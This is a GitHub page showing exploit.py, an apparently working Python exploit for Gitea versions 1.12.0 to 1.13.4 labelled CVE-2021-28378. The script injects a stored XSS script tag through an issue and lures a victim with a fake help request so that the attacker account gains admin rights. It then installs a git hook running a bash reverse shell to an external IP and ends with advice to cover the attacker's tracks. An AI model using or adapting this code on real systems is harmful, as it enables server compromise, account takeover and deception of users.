-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.py
193 lines (163 loc) · 6.97 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
import os
import pexpect
import re
import requests
import time
from packaging import version
TargetURL = "http://mygitea.com" # URL of the domain to attack
Username = "hacker" # Username to use to connect and attack
Password = "CVE-2021-28378-Gitea" # Password for the previous username
Repo_create = False # Defines wether it creates the following repository or not
Repo_name = "mysaferepo" # Name of the repo to post the payload into (in an issue)
Infection_file_uri = "hacker/mysaferepo/raw/master/payload.js" # URI of the infection file, containing your payload to become admin (you can take exploit3.js). Upload it into the Gitea instance because of the CORS
Infected_issue_title = "Some cool title" # Title of the infected issue (only text to mock a legit issue)
Infected_issue_body = "It's not a summer body, but an issue's one" # Body of the infected issue (only text to mock a legit issue)
Target_username = "victim" # Username of the user we are targetting (posting the link to the infected issue)
Target_repo_name = "repo_hacked" # Repository in which it posts the link to the infected issue
Target_issue_title = "NEED HELP" # Title of the fake issue
Target_issue_body = "Please send help I can't figure out how to solve this **BIG** mistake" # Body of the fake issue
Delay_retry_seconds = 2 # Delay (in seconds) to wait between each admin rights detection
Ext_IP = "10.0.0.1" # The IPv4 that will get reached with the victim Bash UDP reverse shell
Ext_port = "4242" # To port that will get reached with the victim Bash UDP reverse shell
# Run "nc -t -lvp {Ext_port}", with a "-n" in case getnameinfo fails name resolution
def getCSRF(body: str) -> str:
csrf_srch = re.search('name="_csrf" content="([\w_-]+)"', body)
if not csrf_srch:
return ''
return csrf_srch.group(1)
if __name__ == '__main__':
# Create a session to hold cookies
s = requests.Session()
# GET TargetURL
res = s.get(TargetURL)
# Check Gitea version
print('Checking version...')
v_srch = re.search('Powered by Gitea Version: ([\d.]+)', res.text)
if not v_srch:
print(' Failed to check Gitea version')
exit(1)
v = v_srch.group(1)
print(f' Version: {v}')
if not (version.parse('1.12.0') <= version.parse(v) < version.parse('1.13.4')):
print(f' Invalid Gitea version detected')
exit(1)
# Extract CSRF value
print('Extracting CSRF token...')
csrf = getCSRF(res.text)
if csrf == '':
print(' Failed to extract CSRF token')
exit(1)
# POST TargetURL/user/login
print(f'Try to connect using username "{Username}" and password "{Password}"...')
res = s.post(TargetURL + "/user/login", data = {'_csrf':csrf, 'user_name':Username, 'password': Password})
# Check lang is en-US
lang_srch = re.search('<html lang="en-US"', res.text)
if not lang_srch:
print(' Account is not configured in "en-US" language, regex won\'t work')
exit(1)
# Check connected
l_srch = re.search('Signed in as <strong>[\w._-]+</strong>', res.text)
if not l_srch:
print(' Failed to connect')
exit(1)
print(' Successfully logged in')
# Extract CSRF value
print('Actualizing CSRF token...')
csrf = getCSRF(res.text)
if csrf == '':
print(' Failed to extract CSRF token')
exit(1)
# Extract UID value
print('Extracting UID value...')
uid_srch = re.search('name="_uid" content="([\d]+)"', res.text)
if not uid_srch:
print(' Failed to extract UID value')
exit(1)
uid = uid_srch.group(1)
# If repo_create
if Repo_create:
# POST TargetURL/repo/create
print(f'Creating the repository {Username}/{Repo_name}...')
data = {
'_csrf': csrf,
'uid': uid,
'repo_name': Repo_name,
'description': '',
'repo_template': '',
'issue_labels': '',
'gitignores': '',
'license': '',
'readme': 'Default',
'default_branch': 'master'
}
res = s.post(TargetURL + "/repo/create", data=data, allow_redirects=False)
if res.status_code != 302:
print(' Failed to create repository')
exit(1)
# POST TargetURL/user_name/repo_name/issue/new
print('Creating the infected issue...')
data = {
'_csrf': csrf,
'title': Infected_issue_title,
'content': f'<script src="{Infection_file_uri}"></script>{Infected_issue_body}',
'ref': '',
'search': '',
'label_ids': '',
'milestone_id': '',
'assignee_ids': ''
}
res = s.post(TargetURL + "/" + Username + "/" + Repo_name + "/issues/new", data=data, allow_redirects=False)
if res.status_code != 302:
print(' Failed to create issue')
exit(1)
issue_uri = res.headers["Location"]
# POST TargetURL/target_user_name/target_repo_name/issue/new
print('Creating the target issue...')
data = {
'_csrf': csrf,
'title': Target_issue_title,
'content': f'{TargetURL}{issue_uri} {Target_issue_body}',
'ref': '',
'search': '',
'label_ids': '',
'milestone_id': '',
'assignee_ids': ''
}
res = s.post(TargetURL + "/" + Target_username + "/" + Target_repo_name + "/issues/new", data=data, allow_redirects=False)
if res.status_code != 302:
print(' Failed to create issue')
exit(1)
# Wait until you have admin rights
print(f'Waiting until {Username} is admin...', end='', flush=True)
res = s.get(TargetURL)
is_admin = "Site Administration" in res.text
while not is_admin:
res = s.get(TargetURL)
is_admin = "Site Administration" in res.text
time.sleep(Delay_retry_seconds)
print('.', end='', flush=True)
print('')
print(' Account is now admin')
# POST TargetURL/user_name/repo_name/settings/hooks/git/post-receive
print('Setting up infected git post-receive hook')
data = {
'_csrf':csrf,
'content': f'#!/bin/bash\r\n\r\nbash -i >& /dev/tcp/{Ext_IP}/{Ext_port} 0>&1'
}
res = s.post(TargetURL + "/" + Username + "/" + Repo_name + "/settings/hooks/git/post-receive", data=data, allow_redirects=False)
if res.status_code != 302:
print(' Failed to create git post-receive hook')
exit(1)
# Create a trigger
open('trigger', 'wb').close()
os.system('git init')
os.system('git add trigger')
os.system('git commit -m "trigger"')
os.system(f'git remote add origin {TargetURL}/{Username}/{Repo_name}.git')
conn = pexpect.spawn("/bin/bash -c 'cd %s && git push -u origin master'" % os.path.realpath('.'))
conn.expect("Username for .*: ")
conn.sendline(Username)
conn.expect("Password for .*: ")
conn.sendline(Password)
conn.expect("Total.*")
print('Don\'t forget to clear a bit your tracks ASAP: delete the infected repository, post a little message pretending you sucks and it\'ll get closed soon, and remove your .git folder')